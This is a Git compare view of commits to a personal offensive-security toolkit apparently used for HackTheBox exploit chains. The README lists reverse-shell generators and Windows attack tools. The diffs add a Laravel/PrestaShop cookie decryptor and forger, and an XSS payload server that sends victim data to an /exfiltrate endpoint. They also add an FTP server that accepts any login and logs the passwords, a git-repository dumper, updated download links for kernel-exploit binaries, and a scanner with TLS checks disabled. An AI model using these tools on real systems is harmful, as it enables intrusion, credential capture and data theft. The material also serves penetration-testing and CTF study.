Compare commits
28 Commits
0fac5c75b0
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
| 91dcd50350 | |||
| 75b845a74f | |||
| 58329993e2 | |||
| 6b807eb828 | |||
| 7088f50fa0 | |||
| b9cdecad77 | |||
| 43b1a0ebc6 | |||
| 6cd353b911 | |||
| d89c0ccf64 | |||
| 50750f5463 | |||
| 93296c4172 | |||
| a73847454f | |||
| 790b97f945 | |||
| 5f7e482895 | |||
| e0c14aad4c | |||
| f080276339 | |||
| 90ccb07e94 | |||
| 78f91195f2 | |||
| 12007c84c1 | |||
| f11f99fdf4 | |||
| 680b029677 | |||
| b5296b3ff4 | |||
| 546d6c8447 | |||
| 4b02f0bf25 | |||
| 5a2508e524 | |||
| 5006819532 | |||
| 1b679b0c37 | |||
| ad8225e918 |
0
PetitPotam.py
Executable file → Normal file
0
PetitPotam.py
Executable file → Normal file
23
README.md
23
README.md
@@ -7,8 +7,16 @@ I use this repository mostly for automated exploit chains. HackTheBox machines o
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
git clone git@romanh.de:Roman/HackingScripts
|
||||
sudo ln -s HackingScripts $(python -c "import sys;print(sys.path[-1])")/hackingscripts
|
||||
PYTHON_DIR=$(python -c "import sys;print(sys.path[-1])")
|
||||
|
||||
# clone directly into python site-packages
|
||||
git clone https://git.romanh.de/Roman/HackingScripts.git $PYTHON_DIR/hackingscripts
|
||||
# or use a symlink
|
||||
git clone https://git.romanh.de/Roman/HackingScripts.git
|
||||
sudo ln -s $(pwd)/HackingScripts $PYTHON_DIR/hackingscripts
|
||||
|
||||
# Install requirements
|
||||
pip3 install -r $PYTHON_DIR/hackingscripts/requirements.txt
|
||||
```
|
||||
|
||||
### Enumeration: Initial Scans
|
||||
@@ -30,6 +38,7 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- pingscan.py: small python script, which can detect internal hosts via ping probes natively.
|
||||
Can be deployed on victim machines to scan the intranet.
|
||||
- [deepce.sh](https://github.com/stealthcopter/deepce): Docker Privilege Escalation (e.g. exposed socket)
|
||||
- [socat](https://github.com/3ndG4me/socat)
|
||||
|
||||
### Reverse Shell: Payloads
|
||||
- rev_shell.py: Generates a reverse shell command (e.g. netcat, python, ...)
|
||||
@@ -48,10 +57,12 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- dnsserver.py: Create a temporary dns server responding dynamically to basic DNS requests (in-memory)
|
||||
- sshserver.py: Create a temporary ssh server to intercept credentials (TODO: relay) (in-memory)
|
||||
- smtpserver.py: Create a temporary smtp server (in-memory)
|
||||
- ftpserver.py: Create a temporary ftp server (in-memory, thanks to [@benzammour](https://github.com/benzammour))
|
||||
- template.py: Creates a template for web exploits, similar to pwnlib's template
|
||||
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
||||
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
||||
- TODO: smb
|
||||
- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP)
|
||||
|
||||
### [Windows](win/)
|
||||
- nc.exe/nc64.exe: netcat standalone binary
|
||||
@@ -63,4 +74,10 @@ Can be deployed on victim machines to scan the intranet.
|
||||
- [SharpHound.exe](https://github.com/BloodHoundAD/SharpHound3): BloodHound Ingestor
|
||||
- [windows-exploit-suggester.py](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [aspx-reverse-shell.aspx](https://github.com/borjmz/aspx-reverse-shell)
|
||||
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to @alwayslucky)
|
||||
- [xp_cmdshell.py](https://github.com/0xalwayslucky/pentesting-tools) (thanks to [@alwayslucky](https://github.com/0xalwayslucky))
|
||||
- [PetitPotam.py](https://github.com/topotam/PetitPotam)
|
||||
- [socat.exe](https://github.com/3ndG4me/socat)
|
||||
- TODO: add all Potatoes
|
||||
|
||||
### Example API-Usage
|
||||
TODO: Add some example code or bash commands on how to use the custom libraries, e.g. fileserver, xss_handler, etc.
|
||||
148
crypto_cookie.py
Normal file
148
crypto_cookie.py
Normal file
@@ -0,0 +1,148 @@
|
||||
import base64
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import urllib.parse
|
||||
from Crypto.Cipher import AES
|
||||
|
||||
def unpad(data):
|
||||
if not data:
|
||||
return data
|
||||
last_byte = data[-1]
|
||||
if last_byte < AES.block_size:
|
||||
data = data[0:-last_byte]
|
||||
return data
|
||||
|
||||
def pad(data):
|
||||
if not data:
|
||||
return data
|
||||
padding = AES.block_size - (len(data) % AES.block_size)
|
||||
if padding < AES.block_size:
|
||||
data = data + bytes([padding]) * padding
|
||||
return data
|
||||
|
||||
def generate_mac(APP_KEY, iv, data):
|
||||
return hmac.new(key=APP_KEY, msg=base64.b64encode(iv)+base64.b64encode(data), digestmod=hashlib.sha256)
|
||||
|
||||
def decrypt_cookie(APP_KEY, cookie):
|
||||
json_obj = json.loads(base64.b64decode(urllib.parse.unquote(cookie)).decode())
|
||||
iv = base64.b64decode(json_obj["iv"].encode())
|
||||
encrypted = base64.b64decode(json_obj["value"].encode())
|
||||
mac = generate_mac(APP_KEY, iv, encrypted)
|
||||
if mac.hexdigest() != json_obj["mac"]:
|
||||
print("[~] WARN: macs are not equal")
|
||||
|
||||
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
|
||||
return unpad(cipher.decrypt(encrypted)).decode()
|
||||
|
||||
def create_cookie(APP_KEY, data):
|
||||
iv = os.urandom(AES.block_size)
|
||||
cipher = AES.new(APP_KEY, AES.MODE_CBC, iv)
|
||||
encrypted = cipher.encrypt(pad(json.dumps(data).encode()))
|
||||
mac = generate_mac(APP_KEY, iv, encrypted)
|
||||
|
||||
json_obj = {
|
||||
"iv": base64.b64encode(iv).decode(),
|
||||
"value": base64.b64encode(encrypted).decode(),
|
||||
"mac": mac.hexdigest()
|
||||
}
|
||||
|
||||
new_cookie = base64.b64encode(json.dumps(json_obj).encode()).decode()
|
||||
# new_cookie = urllib.parse.quote(new_cookie)
|
||||
return new_cookie
|
||||
|
||||
def hkdf_extract(salt, input_key_material, hash_name='sha256'):
|
||||
"""
|
||||
Extract a pseudorandom key from the input key material and salt using HMAC.
|
||||
|
||||
:param salt: The salt (bytes).
|
||||
:param input_key_material: The input key material (bytes).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The pseudorandom key (bytes).
|
||||
"""
|
||||
if salt is None or len(salt) == 0:
|
||||
salt = b'\x00' * hashlib.new(hash_name).digest_size
|
||||
|
||||
return hmac.new(salt, input_key_material, hash_name).digest()
|
||||
|
||||
def hkdf_expand(pseudorandom_key, info=b'', length=32, hash_name='sha256'):
|
||||
"""
|
||||
Expand the pseudorandom key into one or more keys using HMAC.
|
||||
|
||||
:param pseudorandom_key: The pseudorandom key (bytes).
|
||||
:param info: Optional context and application-specific information (bytes).
|
||||
:param length: The length of the output key material in bytes (int).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The output key material (bytes).
|
||||
"""
|
||||
hash_len = hashlib.new(hash_name).digest_size
|
||||
blocks_needed = (length + hash_len - 1) // hash_len
|
||||
okm = b''
|
||||
output_block = b''
|
||||
|
||||
for counter in range(blocks_needed):
|
||||
output_block = hmac.new(pseudorandom_key, output_block + info + bytes([counter + 1]), hash_name).digest()
|
||||
okm += output_block
|
||||
|
||||
return okm[:length]
|
||||
|
||||
def hkdf(input_key_material, salt, info=b'', length=32, hash_name='sha256'):
|
||||
"""
|
||||
Derive keys using HKDF (extract and expand stages).
|
||||
|
||||
:param input_key_material: The input key material (bytes).
|
||||
:param salt: The salt (bytes).
|
||||
:param info: Optional context and application-specific information (bytes).
|
||||
:param length: The length of the output key material in bytes (int).
|
||||
:param hash_name: The hash function to use (string).
|
||||
:return: The derived key (bytes).
|
||||
"""
|
||||
pseudorandom_key = hkdf_extract(salt, input_key_material, hash_name)
|
||||
return hkdf_expand(pseudorandom_key, info, length, hash_name)
|
||||
|
||||
def decrypt_cookie_prestashop(COOKIE_KEY, cookie):
|
||||
assert re.match(r"^[a-fA-F0-9]+$", COOKIE_KEY)
|
||||
assert re.match(r"^[a-fA-F0-9]+$", cookie)
|
||||
|
||||
# https://github.com/defuse/php-encryption/blob/master/src/Key.php
|
||||
KEY_CURRENT_VERSION = b"\xDE\xF0\x00\x00"
|
||||
HEADER_SIZE = len(KEY_CURRENT_VERSION)
|
||||
KEY_BYTE_SIZE = 32
|
||||
CHECKSUM_BYTE_SIZE = 32
|
||||
COOKIE_KEY = bytearray.fromhex(COOKIE_KEY)
|
||||
assert COOKIE_KEY.startswith(KEY_CURRENT_VERSION)
|
||||
assert len(COOKIE_KEY) == HEADER_SIZE + KEY_BYTE_SIZE + CHECKSUM_BYTE_SIZE
|
||||
real_cookie_key = COOKIE_KEY[HEADER_SIZE:HEADER_SIZE+KEY_BYTE_SIZE]
|
||||
cookie_signature_check = COOKIE_KEY[0:HEADER_SIZE+KEY_BYTE_SIZE]
|
||||
key_signature = COOKIE_KEY[HEADER_SIZE+KEY_BYTE_SIZE:]
|
||||
assert hashlib.sha256(cookie_signature_check).digest() == key_signature
|
||||
|
||||
# https://github.com/defuse/php-encryption/blob/master/src/Core.php
|
||||
CURRENT_VERSION = b"\xDE\xF5\x02\x00"
|
||||
HEADER_SIZE = len(CURRENT_VERSION)
|
||||
SALT_SIZE = 32
|
||||
IV_SIZE = 16
|
||||
HMAC_SIZE = 32
|
||||
cookie = bytearray.fromhex(cookie)
|
||||
assert cookie.startswith(CURRENT_VERSION)
|
||||
assert len(cookie) >= HEADER_SIZE + SALT_SIZE + IV_SIZE + HMAC_SIZE
|
||||
salt = cookie[HEADER_SIZE:HEADER_SIZE+SALT_SIZE]
|
||||
iv = cookie[HEADER_SIZE+SALT_SIZE:HEADER_SIZE+SALT_SIZE+IV_SIZE]
|
||||
ct = cookie[HEADER_SIZE+SALT_SIZE+IV_SIZE:-HMAC_SIZE]
|
||||
hmac_data = cookie[-HMAC_SIZE:]
|
||||
|
||||
PBKDF2_ITERATIONS = 100000
|
||||
ENCRYPTION_INFO_STRING = b'DefusePHP|V2|KeyForEncryption'
|
||||
AUTHENTICATION_INFO_STRING = b'DefusePHP|V2|KeyForAuthentication'
|
||||
|
||||
derived_key = hkdf(real_cookie_key, salt, ENCRYPTION_INFO_STRING, 32, "sha256")
|
||||
|
||||
cipher = AES.new(derived_key, AES.MODE_CTR, initial_value=iv, nonce=b"")
|
||||
plaintext = cipher.decrypt(ct).decode()
|
||||
|
||||
# TODO: check hmac_data
|
||||
|
||||
lines = plaintext.split("¤")
|
||||
return dict(map(lambda line: line.split("|"), lines))
|
||||
@@ -5,12 +5,10 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from urllib.parse import urlparse
|
||||
import threading
|
||||
import requests
|
||||
import sys
|
||||
import time
|
||||
import os
|
||||
import ssl
|
||||
import util
|
||||
import xss_handler
|
||||
|
||||
class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
|
||||
@@ -93,14 +91,23 @@ class FileServerRequestHandler(BaseHTTPRequestHandler):
|
||||
status_code = 200 if len(result) < 1 else result[0]
|
||||
data = b"" if len(result) < 2 else result[1]
|
||||
headers = { } if len(result) < 3 else result[2]
|
||||
else:
|
||||
elif isinstance(result, int):
|
||||
status_code = result
|
||||
data = b""
|
||||
headers = {}
|
||||
elif result is None:
|
||||
status_code = 201
|
||||
data = b""
|
||||
headers = {}
|
||||
else:
|
||||
status_code = 200
|
||||
data = data if type(data) in [bytes, bytearray] else str(data).encode()
|
||||
headers = {}
|
||||
|
||||
if path in self.server.dumpRequests:
|
||||
headers["Access-Control-Allow-Origin"] = "*"
|
||||
|
||||
|
||||
headers["Connection"] = "Close"
|
||||
headers["Content-Length"] = len(util.nvl(data, b""))
|
||||
|
||||
if len(headers) == 0:
|
||||
@@ -176,7 +183,7 @@ class HttpFileServer(HTTPServer):
|
||||
data = data.encode("UTF-8")
|
||||
|
||||
headers = {
|
||||
"Access-Control-Allow-Origin": "*",
|
||||
"Access-Control-Allow-Origin": "*"
|
||||
}
|
||||
|
||||
if mime_type:
|
||||
@@ -275,15 +282,11 @@ class HttpFileServer(HTTPServer):
|
||||
self.listen_thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2 or sys.argv[1] not in ["shell","dump","proxy","xss"]:
|
||||
print("Usage: %s [shell,dump,proxy,xss]" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
parser = argparse.ArgumentParser(description="Spawn a temporary http server")
|
||||
parser.add_argument(
|
||||
"action",
|
||||
choices=["shell", "dump", "proxy", "xss"],
|
||||
help="Choose one of these actions: shell, dump, proxy, xss"
|
||||
choices=["shell", "dump", "proxy", "xss", "start"],
|
||||
help="Choose one of these actions: shell, dump, proxy, xss, start"
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
@@ -294,7 +297,6 @@ if __name__ == "__main__":
|
||||
help="Address to bind on (default: 0.0.0.0)"
|
||||
)
|
||||
|
||||
# Optionales Argument: port
|
||||
parser.add_argument(
|
||||
"--port",
|
||||
type=int,
|
||||
@@ -327,9 +329,16 @@ if __name__ == "__main__":
|
||||
file_server.forwardRequest("/proxy", url)
|
||||
print("Exfiltrate data using:", file_server.get_full_url("/proxy", ip_address))
|
||||
elif args.action == "xss":
|
||||
from xss_handler import generate_payload as generate_xss_payload
|
||||
payload_type = args.payload if args.payload else "img"
|
||||
xss = xss_handler.generatePayload(payload_type, ip_addr, args.port)
|
||||
xss = generate_xss_payload(payload_type, file_server.get_full_url("/exfiltrate", ip_address))
|
||||
file_server.addFile("/xss", xss)
|
||||
file_server.dumpRequest("/exfiltrate")
|
||||
print("Exfiltrate data using:")
|
||||
print(xss)
|
||||
elif args.action == "start":
|
||||
file_server.load_directory(".")
|
||||
print("Serve files in current directory using:")
|
||||
print(file_server.get_full_url("/", ip_addr=ip_address))
|
||||
|
||||
file_server.serve_forever()
|
||||
|
||||
181
ftpserver.py
Normal file
181
ftpserver.py
Normal file
@@ -0,0 +1,181 @@
|
||||
import os
|
||||
import logging
|
||||
import argparse
|
||||
import signal
|
||||
from pyftpdlib.handlers import FTPHandler
|
||||
from pyftpdlib.servers import ThreadedFTPServer
|
||||
from pyftpdlib.authorizers import DummyAuthorizer
|
||||
|
||||
logger = logging.getLogger()
|
||||
logger.setLevel(logging.INFO)
|
||||
|
||||
stream_handler = logging.StreamHandler()
|
||||
stream_handler.setLevel(logging.INFO)
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s - %(message)s")
|
||||
stream_handler.setFormatter(formatter)
|
||||
|
||||
logger.addHandler(stream_handler)
|
||||
|
||||
MSG_LOGIN = "Login successful"
|
||||
MSG_CLOSE = "Goodbye"
|
||||
|
||||
|
||||
# Class to log every action the user takes
|
||||
class CustomFTPHandler(FTPHandler):
|
||||
def on_login(self, username):
|
||||
logging.info(f"User '{username}' logged in successfully.")
|
||||
|
||||
def on_login_failed(self, username, password):
|
||||
logging.warning(
|
||||
f"Failed login attempt for user '{username}' with password '{password}'."
|
||||
)
|
||||
|
||||
def on_file_received(self, file):
|
||||
logging.info(f"File received: {file}")
|
||||
|
||||
def on_file_sent(self, file):
|
||||
logging.info(f"File sent: {file}")
|
||||
|
||||
def on_file_deleted(self, file):
|
||||
logging.info(f"File deleted: {file}")
|
||||
|
||||
def on_file_renamed(self, old_file, new_file):
|
||||
logging.info(f"File renamed from '{old_file}' to '{new_file}'")
|
||||
|
||||
def on_file_downloaded(self, file):
|
||||
logging.info(f"File downloaded: {file}")
|
||||
|
||||
def on_file_stored(self, file):
|
||||
logging.info(f"File stored: {file}")
|
||||
|
||||
def on_file_retrieved(self, file):
|
||||
logging.info(f"File retrieved: {file}")
|
||||
|
||||
def on_file_aborted(self, file):
|
||||
logging.info(f"File transfer aborted: {file}")
|
||||
|
||||
def on_file_changed(self, file):
|
||||
logging.info(f"File changed: {file}")
|
||||
|
||||
def on_file_moved(self, old_file, new_file):
|
||||
logging.info(f"File moved from '{old_file}' to '{new_file}'")
|
||||
|
||||
def on_file_uploaded(self, file):
|
||||
logging.info(f"File uploaded: {file}")
|
||||
|
||||
def on_connect(self):
|
||||
logger.info(f"Client connected: {self.remote_ip}")
|
||||
|
||||
def on_disconnect(self):
|
||||
logger.info(f"Client disconnected: {self.remote_ip}")
|
||||
|
||||
def on_logout(self, username):
|
||||
logger.info(f"User logged out: {username}")
|
||||
|
||||
def on_incomplete_file_received(self, file):
|
||||
logger.warning(f"Incomplete file received: {file}")
|
||||
|
||||
def on_incomplete_file_sent(self, file):
|
||||
logger.warning(f"Incomplete file received: {file}")
|
||||
|
||||
|
||||
class AnyUserAuthorizer(DummyAuthorizer):
|
||||
"""
|
||||
Authorization class that allows any combination of username/password.
|
||||
"""
|
||||
|
||||
def __init__(self, directory):
|
||||
DummyAuthorizer.__init__(self)
|
||||
self.directory = directory
|
||||
self.default_params = {
|
||||
"pwd": "",
|
||||
"home": self.directory,
|
||||
"perm": "elr",
|
||||
"operms": {},
|
||||
"msg_login": MSG_LOGIN,
|
||||
"msg_quit": MSG_CLOSE,
|
||||
}
|
||||
|
||||
def validate_authentication(self, username, password, handler):
|
||||
logger.info(f"User '{username}' tried logging in with password: '{password}'")
|
||||
|
||||
return True
|
||||
|
||||
def get_home_dir(self, username):
|
||||
return self.directory
|
||||
|
||||
def has_user(self, username):
|
||||
if username in self.user_table:
|
||||
return True
|
||||
|
||||
self.add_user(username, "", self.directory)
|
||||
return True
|
||||
|
||||
def has_perm(self, username, perm, path=None) -> bool:
|
||||
if username not in self.user_table:
|
||||
# add user manually and not via add_user due to infinite recursion
|
||||
self.user_table[username] = self.default_params
|
||||
|
||||
return True
|
||||
|
||||
def get_msg_login(self, username: str) -> str:
|
||||
return MSG_LOGIN
|
||||
|
||||
def get_msg_quit(self, username: str) -> str:
|
||||
return MSG_CLOSE
|
||||
|
||||
|
||||
class FastFTPServer:
|
||||
def __init__(self, directory, port):
|
||||
self.directory = directory
|
||||
self.port = port
|
||||
self.server = None
|
||||
|
||||
def start(self):
|
||||
authorizer = AnyUserAuthorizer(directory=self.directory)
|
||||
|
||||
handler = CustomFTPHandler
|
||||
handler.authorizer = authorizer
|
||||
|
||||
self.server = ThreadedFTPServer(("", self.port), handler)
|
||||
logging.info(f"Starting FTP server on port {self.port}")
|
||||
|
||||
self.server.serve_forever()
|
||||
|
||||
def cleanup(self):
|
||||
logging.info("Shutting down FTP server...")
|
||||
if self.server:
|
||||
self.server.close_all()
|
||||
logging.info("FTP server shut down.")
|
||||
|
||||
|
||||
def signal_handler(sig, frame):
|
||||
logging.info("Received Ctrl+C, shutting down...")
|
||||
ftp_server.cleanup()
|
||||
exit(0)
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Temporary FTP Server")
|
||||
parser.add_argument(
|
||||
"--dir", "-d", type=str, default=".", help="Directory to serve files from"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--port", "-p", type=int, default=21, help="Port to run the FTP server on"
|
||||
)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not os.path.exists(args.dir):
|
||||
print(f"Error: The directory '{args.dir}' does not exist.")
|
||||
return
|
||||
|
||||
global ftp_server
|
||||
ftp_server = FastFTPServer(args.dir, args.port)
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
ftp_server.start()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -292,9 +292,14 @@ class FindObjectsWorker(DownloadWorker):
|
||||
with open(abspath, 'wb') as f:
|
||||
f.write(response.content)
|
||||
|
||||
# parse object file to find other objects
|
||||
obj_file = dulwich.objects.ShaFile.from_path(abspath)
|
||||
return get_referenced_sha1(obj_file)
|
||||
try:
|
||||
# parse object file to find other objects
|
||||
obj_file = dulwich.objects.ShaFile.from_path(abspath)
|
||||
return get_referenced_sha1(obj_file)
|
||||
except:
|
||||
print("[-] Error parsing:", filepath)
|
||||
os.remove(abspath)
|
||||
return []
|
||||
|
||||
|
||||
def fetch_git(url, directory, jobs, retry, timeout, follow_redirects, module=".git"):
|
||||
@@ -525,7 +530,7 @@ if __name__ == '__main__':
|
||||
description='Dump a git repository from a website.')
|
||||
parser.add_argument('url', metavar='URL',
|
||||
help='url')
|
||||
parser.add_argument('directory', metavar='DIR',
|
||||
parser.add_argument('--directory', metavar='DIR', default=None, type=str,
|
||||
help='output directory')
|
||||
parser.add_argument('--proxy',
|
||||
help='use the specified proxy')
|
||||
@@ -572,6 +577,13 @@ if __name__ == '__main__':
|
||||
parser.error('invalid proxy')
|
||||
|
||||
# output directory
|
||||
if args.directory is None:
|
||||
parsed_url = urllib.parse.urlparse(args.url)
|
||||
if not parsed_url or not parsed_url.hostname:
|
||||
parser.error('no output directory given and cannot derive from URL')
|
||||
else:
|
||||
args.directory = parsed_url.hostname
|
||||
|
||||
if not os.path.exists(args.directory):
|
||||
os.makedirs(args.directory)
|
||||
|
||||
|
||||
9960
linpeas.sh
9960
linpeas.sh
File diff suppressed because one or more lines are too long
@@ -217,7 +217,7 @@ Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||
Tags: ubuntu=9.04
|
||||
Rank: 1
|
||||
analysis-url: https://xorl.wordpress.com/2009/07/16/cve-2009-1895-linux-kernel-per_clear_on_setid-personality-bypass/
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9435.tgz
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9435.tgz
|
||||
exploit-db: 9435
|
||||
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
||||
EOF
|
||||
@@ -228,7 +228,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage2
|
||||
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||
Tags:
|
||||
Rank: 1
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9436.tgz
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9436.tgz
|
||||
exploit-db: 9436
|
||||
Comments: Works for systems with /proc/sys/vm/mmap_min_addr equal to 0
|
||||
EOF
|
||||
@@ -239,7 +239,7 @@ Name: ${txtgrn}[CVE-2009-2692,CVE-2009-1895]${txtrst} sock_sendpage3
|
||||
Reqs: pkg=linux-kernel,ver>=2.6.0,ver<=2.6.30
|
||||
Tags:
|
||||
Rank: 1
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9641.tar.gz
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9641.tar.gz
|
||||
exploit-db: 9641
|
||||
Comments: /proc/sys/vm/mmap_min_addr needs to equal 0 OR pulseaudio needs to be installed
|
||||
EOF
|
||||
@@ -260,7 +260,7 @@ Name: ${txtgrn}[CVE-2009-2698]${txtrst} the rebel (udp_sendmsg)
|
||||
Reqs: pkg=linux-kernel,ver>=2.6.1,ver<=2.6.19
|
||||
Tags: debian=4
|
||||
Rank: 1
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/9574.tgz
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/9574.tgz
|
||||
exploit-db: 9574
|
||||
analysis-url: https://blog.cr0.org/2009/08/cve-2009-2698-udpsendmsg-vulnerability.html
|
||||
author: spender
|
||||
@@ -701,7 +701,7 @@ Name: ${txtgrn}[CVE-2016-4997]${txtrst} target_offset
|
||||
Reqs: pkg=linux-kernel,ver>=4.4.0,ver<=4.4.0,cmd:grep -qi ip_tables /proc/modules
|
||||
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
||||
Rank: 1
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/40053.zip
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40053.zip
|
||||
Comments: ip_tables.ko needs to be loaded
|
||||
exploit-db: 40049
|
||||
author: Vitaly 'vnik' Nikolenko
|
||||
@@ -714,7 +714,7 @@ Reqs: pkg=linux-kernel,ver>=4.4,ver<4.5.5,CONFIG_BPF_SYSCALL=y,sysctl:kernel.unp
|
||||
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/39772.zip
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
|
||||
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
|
||||
exploit-db: 40759
|
||||
author: Jann Horn
|
||||
@@ -858,7 +858,7 @@ Reqs: pkg=linux-kernel,ver>=4.15,ver<=4.19.2,CONFIG_USER_NS=y,sysctl:kernel.unpr
|
||||
Tags: ubuntu=18.04{kernel:4.15.0-20-generic},fedora=28{kernel:4.16.3-301.fc28}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
|
||||
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45886.zip
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45886.zip
|
||||
exploit-db: 45886
|
||||
author: Jann Horn
|
||||
Comments: CONFIG_USER_NS needs to be enabled
|
||||
@@ -871,7 +871,7 @@ Reqs: pkg=linux-kernel,ver>=4,ver<5.1.17,sysctl:kernel.yama.ptrace_scope==0,x86_
|
||||
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
src-url: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47133.zip
|
||||
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
|
||||
Comments: Requires an active PolKit agent.
|
||||
exploit-db: 47133
|
||||
@@ -1066,7 +1066,7 @@ Reqs: pkg=glibc|libc6,x86
|
||||
Tags: debian=6
|
||||
Rank: 1
|
||||
analysis-url: http://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/34421.tar.gz
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34421.tar.gz
|
||||
exploit-db: 34421
|
||||
EOF
|
||||
)
|
||||
@@ -1284,7 +1284,7 @@ Reqs: pkg=ntfs-3g,ver<2017.4
|
||||
Tags: ubuntu=16.04{ntfs-3g:2015.3.14AR.1-1build1},debian=7.0{ntfs-3g:2012.1.15AR.5-2.1+deb7u2},debian=8.0{ntfs-3g:2014.2.15AR.2-1+deb8u2}
|
||||
Rank: 1
|
||||
analysis-url: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072
|
||||
src-url: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/41356.zip
|
||||
src-url: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip
|
||||
exploit-db: 41356
|
||||
author: Jann Horn
|
||||
Comments: Distros use own versioning scheme. Manual verification needed. Linux headers must be installed. System must have at least two CPU cores.
|
||||
|
||||
@@ -642,7 +642,8 @@ sub makeRequest {
|
||||
$lwp = LWP::UserAgent->new(env_proxy => 1,
|
||||
keep_alive => 1,
|
||||
timeout => 30,
|
||||
requests_redirectable => [],
|
||||
requests_redirectable => [],
|
||||
ssl_opts => { verify_hostname => 0, SSL_verify_mode => 0 },
|
||||
);
|
||||
|
||||
$req = new HTTP::Request $method => $url;
|
||||
|
||||
@@ -532,8 +532,8 @@ if __name__ == "__main__":
|
||||
|
||||
parser = argparse.ArgumentParser(description="Reverse shell generator")
|
||||
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
||||
parser.add_argument("--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
||||
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
||||
args, extra = parser.parse_known_args()
|
||||
|
||||
listen_port = args.port
|
||||
|
||||
303
sqli.py
303
sqli.py
@@ -2,47 +2,17 @@ from abc import ABC, abstractmethod
|
||||
import sys
|
||||
import string
|
||||
|
||||
# TODO: add blind/reflected option
|
||||
# TODO: binary search instead of bruteforce
|
||||
class SQLi(ABC):
|
||||
|
||||
@staticmethod
|
||||
def build_query(column: str, table=None, condition=None, offset=None):
|
||||
condition = "" if not condition else f" WHERE {condition}"
|
||||
offset = "" if offset is None else f" OFFSET {offset}"
|
||||
table = "" if not table else f" FROM {table}"
|
||||
return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
|
||||
|
||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True):
|
||||
|
||||
query = self.build_query(column, table, condition, offset)
|
||||
|
||||
